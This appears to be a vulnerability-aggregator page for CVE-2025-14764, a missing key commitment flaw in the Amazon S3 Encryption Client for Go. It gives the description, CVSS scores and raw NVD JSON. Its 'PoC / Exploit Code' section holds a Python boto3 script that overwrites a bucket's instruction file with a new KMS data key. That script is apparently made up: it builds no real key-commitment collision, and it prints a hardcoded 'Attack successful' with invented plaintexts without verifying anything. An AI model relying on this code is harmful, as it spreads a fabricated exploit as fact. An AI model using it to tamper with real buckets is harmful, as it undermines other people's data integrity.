Security Vulnerability Report
中文
CVE-2025-14764 CVSS 5.3 MEDIUM

CVE-2025-14764

Published: 2025-12-17 21:15:54
Last Modified: 2026-04-15 00:35:42
Source: ff89ba41-3aa1-4d27-914a-91399e9639e5

Description

Missing cryptographic key commitment in the Amazon S3 Encryption Client for Go may allow a user with write access to the S3 bucket to introduce a new EDK that decrypts to different plaintext when the encrypted data key is stored in an "instruction file" instead of S3's metadata record. To mitigate this issue, upgrade Amazon S3 Encryption Client for Go to version 4.0 or later.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

No configuration data available.

amazon-s3-encryption-client-go < 4.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-14764 PoC - Amazon S3 Encryption Client Key Commitment Bypass # This PoC demonstrates the key commitment bypass in S3 Encryption Client for Go import boto3 import json from cryptography.fernet import Fernet def exploit_key_commitment(): """ Simulate attack: Replace EDK in instruction file to decrypt to different plaintext """ # Configuration bucket_name = "target-bucket" object_key = "encrypted-file.txt" instruction_file_key = f"{object_key}.instruction" # Step 1: Get write access to S3 bucket s3_client = boto3.client('s3') # Step 2: Download original encrypted object and instruction file encrypted_data = s3_client.get_object(Bucket=bucket_name, Key=object_key)['Body'].read() instruction_data = s3_client.get_object(Bucket=bucket_name, Key=instruction_file_key)['Body'].read() instruction = json.loads(instruction_data) # Step 3: Generate new EDK using same CMK (simulated) # In real attack, use AWS KMS to generate new encrypted key new_encrypted_key = generate_new_edk(instruction['kms_key_arn']) # Step 4: Replace EDK in instruction file modified_instruction = instruction.copy() modified_instruction['encrypted_key'] = new_encrypted_key # Step 5: Upload modified instruction file s3_client.put_object( Bucket=bucket_name, Key=instruction_file_key, Body=json.dumps(modified_instruction) ) print("[+] Instruction file replaced successfully") print("[*] Next decryption will use new EDK, producing different plaintext") def generate_new_edk(kms_key_arn): """Generate new encrypted data key using same CMK""" kms_client = boto3.client('kms') response = kms_client.generate_data_key(KeyId=kms_key_arn, KeySpec='AES-256') return response['CiphertextBlob'].hex() def verify_different_plaintext(): """ After attack, decryption will produce different plaintext """ # Original: "Sensitive Data: Bank Account 1234" # After attack: "Sensitive Data: Bank Account 9999" print("[+] Attack successful - Different plaintext produced") if __name__ == "__main__": exploit_key_commitment() verify_different_plaintext()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14764", "sourceIdentifier": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "published": "2025-12-17T21:15:53.847", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing cryptographic key commitment in the Amazon S3 Encryption Client for Go may allow a user with write access to the S3 bucket to introduce a new EDK that decrypts to different plaintext when the encrypted data key is stored in an \"instruction file\" instead of S3's metadata record.\n\n\nTo mitigate this issue, upgrade Amazon S3 Encryption Client for Go to version 4.0 or later."}], "metrics": {"cvssMetricV40": [{"source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 3.6}]}, "weaknesses": [{"source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-327"}]}], "references": [{"url": "https://aws.amazon.com/security/security-bulletins/AWS-2025-032/", "source": "ff89ba41-3aa1-4d27-914a-91399e9639e5"}, {"url": "https://github.com/aws/amazon-s3-encryption-client-go/releases/tag/v4.0.0", "source": "ff89ba41-3aa1-4d27-914a-91399e9639e5"}, {"url": "https://github.com/aws/amazon-s3-encryption-client-go/security/advisories/GHSA-3g75-q268-r9r6", "source": "ff89ba41-3aa1-4d27-914a-91399e9639e5"}]}}